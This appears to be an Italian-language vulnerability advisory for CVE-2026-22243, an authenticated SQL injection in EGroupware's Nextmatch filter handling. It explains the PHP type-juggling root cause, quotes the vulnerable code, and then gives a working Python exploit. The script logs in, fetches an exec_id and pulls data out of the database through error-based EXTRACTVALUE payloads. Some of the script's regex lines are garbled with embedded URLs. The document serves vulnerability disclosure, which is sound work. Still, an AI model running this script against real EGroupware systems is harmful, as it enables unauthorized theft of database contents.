
CVE-2026-22243 - EGroupware presenta una vulnerabilità di SQL Injection nell'elaborazione del filtro Nextmatch
| Campo | Dettagli |
|---|---|
| CVE ID | CVE-2026-22243 |
| Gravità | ALTA |
| Avviso | Visualizza avviso |
| Scoperto da | Lukasz Rybak |
Critica SQL Injection autenticata nell'elaborazione dei filtri del widget Nextmatch
Una vulnerabilità critica di SQL Injection esiste nei componenti principali di EGroupware, specificamente nell'elaborazione dei filtri Nextmatch. Il difetto consente a utenti autenticati di iniettare comandi SQL arbitrari nella clausola WHERE delle query al database. Ciò viene ottenuto sfruttando un problema di type juggling in PHP in cui la decodifica JSON converte stringhe numeriche in interi, bypassando il controllo di sicurezza is_int() utilizzato dall'applicazione.
Analisi della causa principale
La vulnerabilità risiede nel modo in cui il livello di astrazione del database (Api\Db) e le classi di storage di alto livello (Api\Storage\Base, infolog_so) elaborano l'array col_filter utilizzato nei widget "Nextmatch".
L'applicazione tenta di convalidare l'input utilizzando is_int($key) per determinare se una chiave di array rappresenta un frammento SQL grezzo che dovrebbe essere considerato attendibile. Tuttavia, quando elabora richieste POST basate su JSON, json_decode di PHP converte automaticamente le chiavi stringa numeriche (ad es., "0") in interi nativi.
Di conseguenza, un attaccante può inviare un payload JSON con un array associativo contenente chiavi numeriche. L'applicazione interpreta queste chiavi come interi (is_int restituisce true) e aggiunge ciecamente i valori associati - contenenti SQL malevolo - direttamente alla query.
Posizioni del codice vulnerabile
sources/egroupware/api/src/Db.php (Circa linea 1776)
Metodo: column_data_implode// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
if (empty($data)) continue;
// VULNERABLE: $data is appended directly to SQL without sanitization
$values[] = $data;
}
sources/egroupware/api/src/Storage/Base.php (Circa linea 1134)
Metodo: parse_search// In function parse_search
foreach($criteria as $col => $val) {
// VULNERABLE: is_int() returns true for JSON keys like "0"
if (is_int($col)) {
$query[] = $val;
}
// ...
}
Ho verificato questa vulnerabilità su un'istanza Docker locale e l'ho confermata (sola lettura) sulla vostra istanza demo pubblica (demo.egroupware.net).
Script di exploit automatizzato: Il seguente script automatizza il login, l'estrazione di exec_id e l'esfiltrazione dei dati tramite SQL Injection basata su errore.
import requests
import re
import sys
import urllib3
# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"
session = requests.Session()
session.verify = False
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})
def extract_form_inputs(html):
inputs = {}
matches = re.findall(r'<input[^>]+>', html)
for match in matches:
name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
if name_m:
name = name_m.group(1)
value = value_m.group(1) if value_m else ""
inputs[name] = value
return inputs
def login():
print(f"[*] Target: {BASE_URL}")
login_url = f"{BASE_URL}/login.php"
try:
print("[*] Retrieving login form...")
r_get = session.get(login_url, timeout=10)
data = extract_form_inputs(r_get.text)
data.update({
"login": LOGIN_USER,
"passwd": LOGIN_PASS,
"submitit": "Login",
"passwd_type": "text"
})
if 'cancel' in data: del data['cancel']
print(f"[*] Attempting login as: {LOGIN_USER}...")
r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
print("[-] Login failed. Server returned login form.")
return False
print("[+] Login successful.")
return True
except Exception as e:
print(f"[-] Critical error during login: {e}")
return False
def get_exec_id():
print("[*] Retrieving exec_id...")
url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
try:
r = session.get(url, timeout=10)
match = re.search(r'etemplate_exec_id(?:"|"|\\")\s*:\s*(?:"|"|\\")([^&"\\]+)', r.text)
if match:
eid = match.group(1)
print(f"[+] ID found: {eid}")
return eid
else:
if 'name="passwd"' in r.text:
print("[-] Session expired or login failed.")
else:
print("[-] exec_id pattern not found in source code.")
except Exception as e:
print(f"[-] Error retrieving ID: {e}")
return None
def run_query(eid, sql):
full = ""
url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
print(f"[*] Executing SQLi: {sql}")
for offset in range(1, 201, 30):
chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
post_data = {
"request": {
"parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
}
}
try:
r = session.post(url, json=post_data, timeout=10)
match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
if not match:
match = re.search(r"~([^~]+)~", r.text)
if match:
chunk = match.group(1)
if "..." in chunk: chunk = chunk.replace("...", "")
full += chunk
if len(chunk) < 1: break
else:
break
except Exception as e:
print(f"[-] Query error: {e}")
break
return full if full else "NO DATA / ERROR"